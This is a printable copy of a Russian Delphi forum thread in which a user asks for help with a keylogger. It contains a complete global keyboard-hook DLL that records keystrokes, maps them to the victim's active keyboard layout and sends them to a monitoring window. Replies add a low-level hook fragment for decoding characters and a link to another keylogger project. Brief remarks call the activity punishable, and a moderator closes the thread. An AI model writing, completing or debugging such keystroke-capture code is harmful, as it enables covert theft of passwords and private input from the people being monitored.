Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: Для новичков > помогите с keylogger-ом


Автор: bySawka 10.10.2013, 18:34
Добрый вечер.
Решил написать keylogger. Блого в интернете очень много информации по данной теме. но вот беда - ни в одной из них не предусмотрен таккой момент как вывод символов в зависимости от раскладки, либо учитывалось но они не работали.
Вот код: 
длл
Код

library hookDLLkey;
 
uses
  Windows,Messages, SysUtils,
  dialogs;
 
const
  WM_KEYEVENT = WM_USER+1;
 
var
  HookHandle: HHOOK = 0 ;
  KeybrdState:TKeyboardState;
  Symbol:array[0..1] of char;

//***************** end of GetActiveKbdLayot ****************************   
{активная раскладка в активном окне}   
function GetActiveKbdLayoutWnd : LongWord;
var   
hWindow,idProcess : THandle;   
begin   
// получить handle активного окна чужой программы   
hWindow := GetForegroundWindow;   
// Получить идентификатор чужого процесса   
idProcess := GetWindowThreadProcessId(hWindow,nil);   
// Получить текущую раскладку в чужой программе   
Result:=(GetKeyboardLayout(idProcess) shr $10);
end;

procedure SetKbdLayout(kbLayout : LongWord);
var
Layout: HKL;   
begin
// Получить ссылку на раскладку
Layout:=LoadKeyboardLayout(PChar(IntToStr(kbLayout)), 0);
// Переключить раскладку на русскую
ActivateKeyboardLayout(Layout,KLF_ACTIVATE);
end;

function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
  ks : TKeyboardState;
  hk:Cardinal;
begin

  if CODE = HC_ACTION then
   if ((LParam or (1 shl 30))=LParam) then
    begin
     ServerWnd:=FindWindow(nil,'Monitoring <BSSF>');
     GetKeyboardState(ks);
     hk:=GetKeyboardLayout(GetCurrentThreadId);
     ScanCode:=(LParam shr 16)and $FF;
      SetKbdLayout(GetActiveKbdLayoutWnd);
    if ToAscii(WParam,ScanCode,ks,@Symbol,hk)>0 then
      PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
                   else
      PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;
 
 function SetHookKey(Hook : Boolean) : Boolean; export; stdcall;
begin
  Result := false;
  if Hook
  then
    begin
      if HookHandle = 0
      then
        HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
      Result := (HookHandle <> 0);
    end
  else
    begin
      if HookHandle <> 0
      then
        begin
          UnhookWindowsHookEx(HookHandle);
          HookHandle := 0;
          Result := true;
        end;
    end;
end;
 
exports
  SETHOOKKEY index 2;
  
begin
end.

есть какие нибуть варианты почему не срабатывает??

Автор: kami 11.10.2013, 08:30
Когда-то, тоже писав кейлоггер, из LL-хука, который для кейлоггера подходит больше, делал так (оригинальные комментарии 2006 года сохранены  smile , писано на D5):
Код

var
  kbd: KBDLLHOOKSTRUCT;
  keyState: TKeyboardState;
  Ch: packed array[0..1] of char;
  RetChars: integer;
  ProcessID: DWORD;

  WindowHWND: HWND;
...
if (W = WM_KEYDOWN) then
    begin
      kbd := KBDLLHOOKSTRUCT(Pointer(L)^);
      GetKeyboardState(KeyState);
      KeyState[VK_SHIFT] := GetKeyState(VK_SHIFT); // НЕ УДАЛЯТЬ!!!
      // GetKeyboardState почему-то не определяет нажатия шифтов, посему
      // для качественного распознавания определим их нажатие сами.
      WindowHWND := GetForegroundWindow;
      ProcessID := 1; // без узнавания активного потока почему-то не работает
      CH[0] := #0;
      Ch[1] := #0;
      RetChars := ToASCIIEx(
        kbd.vkCode,
        kbd.scanCode,
        keyState,
        Ch,
        0,
        GetKeyboardLayout(GetWindowThreadProcessId(WindowHWND, @ProcessID)));
      // в Ch - нажатые символы
      // kbd - не изменялся

Цитата(bySawka @  10.10.2013,  18:34 Найти цитируемый пост)
но вот беда - ни в одной из них не предусмотрен таккой момент как вывод символов в зависимости от раскладки,

Дык, раз взялся за такое дело (наказуемое, кстати) - читай MSDN, не пренебрегая Community. Примеры-примерами, но самому тоже думать надо.

Автор: CynicRus 11.10.2013, 13:07
https://github.com/CynicRus/SMR - живой пример, правда писано на Lazarus + FPC, однако необходимый функционал имеет, и для использования его в дельфи возжно потребуется небольшая корректировка.

Автор: bySawka 11.10.2013, 19:31
Цитата(kami @ 11.10.2013,  08:30)
Когда-то, тоже писав кейлоггер, из LL-хука, который для кейлоггера подходит больше, делал так (оригинальные комментарии 2006 года сохранены  smile , писано на D5):
Код

var
  kbd: KBDLLHOOKSTRUCT;
  keyState: TKeyboardState;
  Ch: packed array[0..1] of char;
  RetChars: integer;
  ProcessID: DWORD;

  WindowHWND: HWND;
...
if (W = WM_KEYDOWN) then
    begin
      kbd := KBDLLHOOKSTRUCT(Pointer(L)^);
      GetKeyboardState(KeyState);
      KeyState[VK_SHIFT] := GetKeyState(VK_SHIFT); // НЕ УДАЛЯТЬ!!!
      // GetKeyboardState почему-то не определяет нажатия шифтов, посему
      // для качественного распознавания определим их нажатие сами.
      WindowHWND := GetForegroundWindow;
      ProcessID := 1; // без узнавания активного потока почему-то не работает
      CH[0] := #0;
      Ch[1] := #0;
      RetChars := ToASCIIEx(
        kbd.vkCode,
        kbd.scanCode,
        keyState,
        Ch,
        0,
        GetKeyboardLayout(GetWindowThreadProcessId(WindowHWND, @ProcessID)));
      // в Ch - нажатые символы
      // kbd - не изменялся

Цитата(bySawka @  10.10.2013,  18:34 Найти цитируемый пост)
но вот беда - ни в одной из них не предусмотрен таккой момент как вывод символов в зависимости от раскладки,

Дык, раз взялся за такое дело (наказуемое, кстати) - читай MSDN, не пренебрегая Community. Примеры-примерами, но самому тоже думать надо.

ну просто не понятно почему мой вариант не работает в IE, хотя в остальных программах как часы_
спс за ваш код
только я вот не понял, вы без использования ддл писали?

Автор: CynicRus 11.10.2013, 20:21
Клава с мышой без DLL отлично хукается.

Автор: bems 12.10.2013, 03:16
Цитата(kami @  11.10.2013,  08:30 Найти цитируемый пост)
Дык, раз взялся за такое дело (наказуемое, кстати)
это да

Модератор: тема закрыта

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)